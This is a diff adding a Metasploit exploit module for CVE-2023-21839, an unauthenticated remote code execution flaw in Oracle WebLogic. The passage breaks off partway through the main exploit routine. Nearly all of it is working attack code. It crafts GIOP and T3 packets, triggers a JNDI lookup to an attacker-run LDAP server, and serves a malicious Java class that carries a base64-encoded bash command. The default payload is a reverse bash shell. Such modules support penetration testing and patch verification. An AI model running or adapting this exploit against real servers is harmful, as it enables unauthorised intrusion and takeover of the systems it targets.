|
|
|
@@ -0,0 +1,694 @@
|
|
|
|
|
##
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
|
include Exploit::Remote::JndiInjection
|
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
|
|
|
|
|
|
# Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes.
|
|
|
|
|
GIOP_REQUEST = 0
|
|
|
|
|
GIOP_REPLY = 1
|
|
|
|
|
GIOP_CANCEL_REQUEST = 2
|
|
|
|
|
GIOP_LOCATE_REQUEST = 3
|
|
|
|
|
GIOP_LOCATE_REPLY = 4
|
|
|
|
|
GIOP_CLOSE_CONNECTION = 5
|
|
|
|
|
GIOP_MESSAGE_ERROR = 6
|
|
|
|
|
GIOP_FRAGMENT = 7
|
|
|
|
|
|
|
|
|
|
# Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF
|
|
|
|
|
SYNCSCOPE_NONE = 0
|
|
|
|
|
SYNCSCOPE_WITH_TRANSPORT = 0
|
|
|
|
|
SYNCSCOPE_WITH_SERVER = 1
|
|
|
|
|
SYNCSCOPE_WITH_TARGET = 3
|
|
|
|
|
|
|
|
|
|
# Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF
|
|
|
|
|
ADDR_DISPOSITION_KEYADDR = 0
|
|
|
|
|
ADDR_DISPOSITION_PROFILE_ADDR = 1
|
|
|
|
|
ADDR_DISPOSITION_REFERENCE_ADDR = 2
|
|
|
|
|
|
|
|
|
|
# GIOP Protocol RequestReply Header Codes
|
|
|
|
|
# Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
|
|
|
|
|
NO_EXCEPTION = 0
|
|
|
|
|
USER_EXCEPTION = 1
|
|
|
|
|
SYSTEM_EXCEPTION = 2
|
|
|
|
|
LOCATION_FORWARD = 3
|
|
|
|
|
|
|
|
|
|
# GIOP Protocol LocateReply Header Codes
|
|
|
|
|
# Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf
|
|
|
|
|
UNKNOWN_OBJECT = 0
|
|
|
|
|
OBJECT_HERE = 1
|
|
|
|
|
OBJECT_FORWARD = 2
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization',
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [
|
|
|
|
|
'4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC.
|
|
|
|
|
'14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability.
|
|
|
|
|
'Grant Willcox' # @tekwizz123 This Metasploit module
|
|
|
|
|
],
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated
|
|
|
|
|
remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes
|
|
|
|
|
a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the
|
|
|
|
|
object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable,
|
|
|
|
|
which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via
|
|
|
|
|
the "lookup()" function.
|
|
|
|
|
|
|
|
|
|
This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting
|
|
|
|
|
a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to
|
|
|
|
|
create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java
|
|
|
|
|
code during the instantiation of the object, thereby getting remote code execution as the "oracle" user.
|
|
|
|
|
|
|
|
|
|
This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will
|
|
|
|
|
then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java
|
|
|
|
|
class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,
|
|
|
|
|
at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate
|
|
|
|
|
an instance of that class, granting us RCE as the "oracle" user.
|
|
|
|
|
|
|
|
|
|
This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability
|
|
|
|
|
},
|
|
|
|
|
'References' => [
|
|
|
|
|
['CVE', '2023-21839'],
|
|
|
|
|
['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory
|
|
|
|
|
['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup
|
|
|
|
|
['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP
|
|
|
|
|
['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC
|
|
|
|
|
['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert.
|
|
|
|
|
],
|
|
|
|
|
'Privileged' => false,
|
|
|
|
|
'Targets' => [
|
|
|
|
|
[
|
|
|
|
|
'Linux', {
|
|
|
|
|
'Platform' => %w[unix linux],
|
|
|
|
|
'Arch' => [ARCH_CMD],
|
|
|
|
|
'DefaultOptions' => {
|
|
|
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
]
|
|
|
|
|
],
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'DisclosureDate' => '2023-01-17',
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [CRASH_SAFE],
|
|
|
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
|
|
|
'SideEffects' => [IOC_IN_LOGS]
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
Opt::RPORT(7001),
|
|
|
|
|
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])
|
|
|
|
|
]
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def get_weblogic_version
|
|
|
|
|
socket = connect
|
|
|
|
|
http_request = Rex::Proto::Http::ClientRequest.new(
|
|
|
|
|
{
|
|
|
|
|
'uri' => '/console/login/LoginForm.jsp',
|
|
|
|
|
'vhost' => datastore['RHOST'],
|
|
|
|
|
'port' => datastore['RPORT']
|
|
|
|
|
}
|
|
|
|
|
).to_s
|
|
|
|
|
socket.put(http_request.to_s)
|
|
|
|
|
res = socket.get
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res
|
|
|
|
|
|
|
|
|
|
# Disconnect as we will want a new socket for future connections.
|
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
|
|
# Do the regex on the result to find the version.
|
|
|
|
|
version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/)
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil?
|
|
|
|
|
version = version[1]
|
|
|
|
|
|
|
|
|
|
Rex::Version.new(version)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def giop_header(msg_type)
|
|
|
|
|
header = ''
|
|
|
|
|
header << 'GIOP' # Magic
|
|
|
|
|
header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol.
|
|
|
|
|
header << "\x00" # Message flags
|
|
|
|
|
case msg_type
|
|
|
|
|
when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT
|
|
|
|
|
header << [msg_type].pack('C')
|
|
|
|
|
else
|
|
|
|
|
fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!')
|
|
|
|
|
end
|
|
|
|
|
header << 'LENGTH_REPLACE_ME'
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# LocateRequest packets are used to determine whether an object reference is valid,
|
|
|
|
|
# whether the current server is capable of directly receiving request for the object reference,
|
|
|
|
|
# and if not, to what address the request for the object should be sent.
|
|
|
|
|
#
|
|
|
|
|
# Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27
|
|
|
|
|
def giop_locate_request_packet(keyaddress = 'NameService')
|
|
|
|
|
header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute
|
|
|
|
|
data = ''
|
|
|
|
|
packet = ''
|
|
|
|
|
|
|
|
|
|
@request_id = 1 if @request_id.nil?
|
|
|
|
|
@request_id += 1
|
|
|
|
|
data << [@request_id].pack('N') # Request ID
|
|
|
|
|
data << [0].pack('n') # TargetAddress, 2 byte field
|
|
|
|
|
data << [0].pack('n') # Padding, 2 bytes
|
|
|
|
|
data << [keyaddress.length].pack('N') # Key Address Length
|
|
|
|
|
data << keyaddress
|
|
|
|
|
|
|
|
|
|
packet << header
|
|
|
|
|
packet << data
|
|
|
|
|
packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N'))
|
|
|
|
|
|
|
|
|
|
packet
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def create_service_context(vscid, scid, context_data, endian = 0)
|
|
|
|
|
context = ''
|
|
|
|
|
seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length.
|
|
|
|
|
context << vscid # 3 byte long VSCID
|
|
|
|
|
context << [scid].pack('C') # 1 byte long SCID
|
|
|
|
|
context << [seq_length].pack('N') # 4 byte long sequence length
|
|
|
|
|
context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian.
|
|
|
|
|
context << context_data
|
|
|
|
|
|
|
|
|
|
context
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length)
|
|
|
|
|
header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute
|
|
|
|
|
data = ''
|
|
|
|
|
packet = ''
|
|
|
|
|
|
|
|
|
|
@request_id = 1 if @request_id.nil?
|
|
|
|
|
@request_id += 1
|
|
|
|
|
data << [@request_id].pack('N') # Request ID
|
|
|
|
|
data << [sync_scope].pack('C') # Response flags
|
|
|
|
|
data << "\x00\x00\x00" # Reserved
|
|
|
|
|
data << [addr_disposition].pack('n') # TargetAddress, 2 bytes
|
|
|
|
|
data << [0].pack('n') # Two bytes of padding.
|
|
|
|
|
data << [key_address.length].pack('N') # Key Address Length
|
|
|
|
|
data << key_address
|
|
|
|
|
data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?
|
|
|
|
|
data << "rebind_any\x00" # Request Operation
|
|
|
|
|
|
|
|
|
|
service_context_list = ''
|
|
|
|
|
service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this.
|
|
|
|
|
service_context_list << [context_list_length].pack('N') # Sequence Length
|
|
|
|
|
service_context_list << '{SERVICE_CONTEXT_LIST}'
|
|
|
|
|
|
|
|
|
|
@java_class_name = 'PayloadRuns'
|
|
|
|
|
ldap_uri = jndi_string(@java_class_name)
|
|
|
|
|
stub_data += [ldap_uri.length].pack('C') + ldap_uri
|
|
|
|
|
|
|
|
|
|
data << service_context_list
|
|
|
|
|
data << stub_data
|
|
|
|
|
|
|
|
|
|
packet << header
|
|
|
|
|
packet << data
|
|
|
|
|
|
|
|
|
|
packet
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len)
|
|
|
|
|
header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute
|
|
|
|
|
data = ''
|
|
|
|
|
packet = ''
|
|
|
|
|
|
|
|
|
|
@request_id = 1 if @request_id.nil?
|
|
|
|
|
@request_id += 1
|
|
|
|
|
data << [@request_id].pack('N') # Request ID
|
|
|
|
|
data << [sync_scope].pack('C') # Response flags
|
|
|
|
|
data << "\x00\x00\x00" # Reserved
|
|
|
|
|
data << [addr_disposition].pack('n') # TargetAddress, 2 bytes
|
|
|
|
|
data << [0].pack('n') # Two bytes of padding.
|
|
|
|
|
data << [key_address.length].pack('N') # Key Address Length
|
|
|
|
|
data << key_address
|
|
|
|
|
data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?
|
|
|
|
|
data << "resolve\x00" # Request Operation
|
|
|
|
|
|
|
|
|
|
service_context_list = ''
|
|
|
|
|
service_context_list << [context_list_length].pack('N') # Sequence Length
|
|
|
|
|
service_context_list << '{SERVICE_CONTEXT_LIST}'
|
|
|
|
|
|
|
|
|
|
cos_data = ''
|
|
|
|
|
if cos_naming_disector
|
|
|
|
|
cos_data << "\x00\x00\x00\x00"
|
|
|
|
|
cos_data << [seq_len].pack('N') # Sequence length
|
|
|
|
|
name_component = "test\x00"
|
|
|
|
|
cos_data << [name_component.length].pack('N') # Name component length including NULL byte.
|
|
|
|
|
cos_data << name_component
|
|
|
|
|
cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this.
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
data << service_context_list
|
|
|
|
|
data << cos_data
|
|
|
|
|
|
|
|
|
|
packet << header
|
|
|
|
|
packet << data
|
|
|
|
|
|
|
|
|
|
packet
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check
|
|
|
|
|
begin
|
|
|
|
|
@version = get_weblogic_version
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil?
|
|
|
|
|
rescue ::Timeout::Error
|
|
|
|
|
fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')
|
|
|
|
|
rescue Rex::AddressInUse
|
|
|
|
|
fail_with(Failure::BadConfig, 'Address is currently in use')
|
|
|
|
|
rescue Rex::HostUnreachable
|
|
|
|
|
fail_with(Failure::Unreachable, 'Target host is unreachable!')
|
|
|
|
|
rescue Rex::ConnectionRefused
|
|
|
|
|
fail_with(Failure::Disconnected, 'Target refused connection!')
|
|
|
|
|
rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout
|
|
|
|
|
fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999'))
|
|
|
|
|
return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!')
|
|
|
|
|
elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999'))
|
|
|
|
|
return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!')
|
|
|
|
|
elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999'))
|
|
|
|
|
return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!')
|
|
|
|
|
else
|
|
|
|
|
return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!')
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# HTTP Server Related Functions and Overrides
|
|
|
|
|
|
|
|
|
|
# Returns the configured URIPATH along with the path to the Java class we are serving
|
|
|
|
|
def resource_uri
|
|
|
|
|
"#{datastore['URIPATH']}/#{@java_class_name}.class"
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of
|
|
|
|
|
# this URL when it tries to fetch the class to be loaded and instantiated.
|
|
|
|
|
def ldap_url_string
|
|
|
|
|
"http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/"
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Handle the HTTP request and return a response. Code borrowed from:
|
|
|
|
|
# msf/core/exploit/http/server.rb
|
|
|
|
|
#
|
|
|
|
|
def start_http_service(opts = {})
|
|
|
|
|
# Start a new HTTP server
|
|
|
|
|
@http_service = Rex::ServiceManager.start(
|
|
|
|
|
Rex::Proto::Http::Server,
|
|
|
|
|
(opts['ServerPort'] || bindport).to_i,
|
|
|
|
|
opts['ServerHost'] || bindhost,
|
|
|
|
|
datastore['SSL'],
|
|
|
|
|
{
|
|
|
|
|
'Msf' => framework,
|
|
|
|
|
'MsfExploit' => self
|
|
|
|
|
},
|
|
|
|
|
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),
|
|
|
|
|
datastore['SSLCert'],
|
|
|
|
|
datastore['SSLCompression'],
|
|
|
|
|
datastore['SSLCipher'],
|
|
|
|
|
datastore['SSLVersion']
|
|
|
|
|
)
|
|
|
|
|
@http_service.server_name = datastore['HTTP::server_name']
|
|
|
|
|
# Default the procedure of the URI to on_request_uri if one isn't
|
|
|
|
|
# provided.
|
|
|
|
|
uopts = {
|
|
|
|
|
'Proc' => method(:on_request_uri),
|
|
|
|
|
'Path' => resource_uri
|
|
|
|
|
}.update(opts['Uri'] || {})
|
|
|
|
|
proto = (datastore['SSL'] ? 'https' : 'http')
|
|
|
|
|
|
|
|
|
|
netloc = opts['ServerHost'] || bindhost
|
|
|
|
|
http_srvport = (opts['ServerPort'] || bindport).to_i
|
|
|
|
|
print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}")
|
|
|
|
|
|
|
|
|
|
# Add path to resource
|
|
|
|
|
@service_path = uopts['Path']
|
|
|
|
|
@http_service.add_resource(uopts['Path'], uopts)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Kill HTTP service (shut it down and clear resources)
|
|
|
|
|
#
|
|
|
|
|
def cleanup
|
|
|
|
|
# Stop the LDAP server
|
|
|
|
|
cleanup_service
|
|
|
|
|
|
|
|
|
|
# Clean and stop HTTP server
|
|
|
|
|
if @http_service
|
|
|
|
|
begin
|
|
|
|
|
@http_service.remove_resource(datastore['URIPATH'])
|
|
|
|
|
@http_service.deref
|
|
|
|
|
@http_service.stop
|
|
|
|
|
@http_service = nil
|
|
|
|
|
rescue StandardError => e
|
|
|
|
|
print_error("Failed to stop http server due to #{e}")
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
super
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Handle HTTP requests and responses
|
|
|
|
|
#
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
agent = request.headers['User-Agent']
|
|
|
|
|
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
|
|
|
|
|
class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'))
|
|
|
|
|
base64_payload = Rex::Text.encode_base64(payload.encoded)
|
|
|
|
|
exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length
|
|
|
|
|
command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length
|
|
|
|
|
class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n'))
|
|
|
|
|
class_raw = class_raw.gsub('PAYLOAD', base64_payload)
|
|
|
|
|
send_response(cli, 200, 'OK', class_raw)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
|
# Create an HTTP response and then send it
|
|
|
|
|
#
|
|
|
|
|
def send_response(cli, code, message = 'OK', html = '')
|
|
|
|
|
proto = Rex::Proto::Http::DefaultProtocol
|
|
|
|
|
res = Rex::Proto::Http::Response.new(code, message, proto)
|
|
|
|
|
res.body = html
|
|
|
|
|
cli.send_response(res)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# LDAP Server Overrides
|
|
|
|
|
def build_ldap_search_response_payload
|
|
|
|
|
# Always do a remote load
|
|
|
|
|
# Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.
|
|
|
|
|
# You can add anchor tags using # to the URL but thats it.
|
|
|
|
|
build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Main Exploit
|
|
|
|
|
def exploit
|
|
|
|
|
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
|
|
|
|
|
fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!')
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if @version.blank?
|
|
|
|
|
@version = get_weblogic_version
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Step 1 - Make T3 connection to start IIOP connection process, and read response.
|
|
|
|
|
socket = connect
|
|
|
|
|
print_status('1. Making T3 connection...')
|
|
|
|
|
socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n")
|
|
|
|
|
_buf = socket.get
|
|
|
|
|
disconnect
|
|
|
|
|
print_good('Made T3 connection!')
|
|
|
|
|
|
|
|
|
|
# Step 2 - Send first GIOP LocateRequest packet
|
|
|
|
|
print_status('2. Sending first GIOP LocateRequest packet')
|
|
|
|
|
# Make a GIOP LocateRequest packet request and read response.
|
|
|
|
|
socket = connect
|
|
|
|
|
socket.put(giop_locate_request_packet)
|
|
|
|
|
locate_buf = socket.get
|
|
|
|
|
disconnect
|
|
|
|
|
print_good('Step 2 complete!')
|
|
|
|
|
|
|
|
|
|
reply_status = locate_buf[16..19].unpack('N')&.dig(0)
|
|
|
|
|
if reply_status != OBJECT_FORWARD
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!')
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Calculate the target port
|
|
|
|
|
|
|
|
|
|
# Start at offset 0x60 which will be inside the GIOP's LocateReply message,
|
|
|
|
|
# and will be where the IP address is located in the IOR response.
|
|
|
|
|
port_offset = 0x60
|
|
|
|
|
|
|
|
|
|
# Starting at this offset above, loop until we hit a zero byte in the IOR buffer.
|
|
|
|
|
# This works because the PORT number is represented as a 4 byte long number, aka 32 bits,
|
|
|
|
|
# and the upper part will never be used. Either that or there is a \x00\x00 padding section
|
|
|
|
|
# between the IP address and the port.
|
|
|
|
|
loop do
|
|
|
|
|
if locate_buf[port_offset] != "\x00"
|
|
|
|
|
port_offset += 0x1
|
|
|
|
|
else
|
|
|
|
|
break
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# If port_offset is too large by this point then we have likely hit an error and should exit
|
|
|
|
|
if port_offset > 10240
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!')
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Now, loop until we hit a non-zero byte in the IOR buffer. This should
|
|
|
|
|
# place at the location of the port part of the IP address that is embedded in the IOR message.
|
|
|
|
|
loop do
|
|
|
|
|
if locate_buf[port_offset] == "\x00"
|
|
|
|
|
port_offset += 0x1
|
|
|
|
|
else
|
|
|
|
|
break
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
port = []
|
|
|
|
|
port.append(locate_buf[port_offset])
|
|
|
|
|
port_offset += 1
|
|
|
|
|
port.append(locate_buf[port_offset])
|
|
|
|
|
|
|
|
|
|
# Reformulate the port number from the array so we can get the actual port the target server is expecting us to use.
|
|
|
|
|
final_port = port[1].bytes[0] | (port[0].bytes[0] << 8)
|
|
|
|
|
|
|
|
|
|
# Fail if the received port is not the one we expected.
|
|
|
|
|
if final_port != datastore['RPORT']
|
|
|
|
|
fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}")
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message.
|
|
|
|
|
foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes |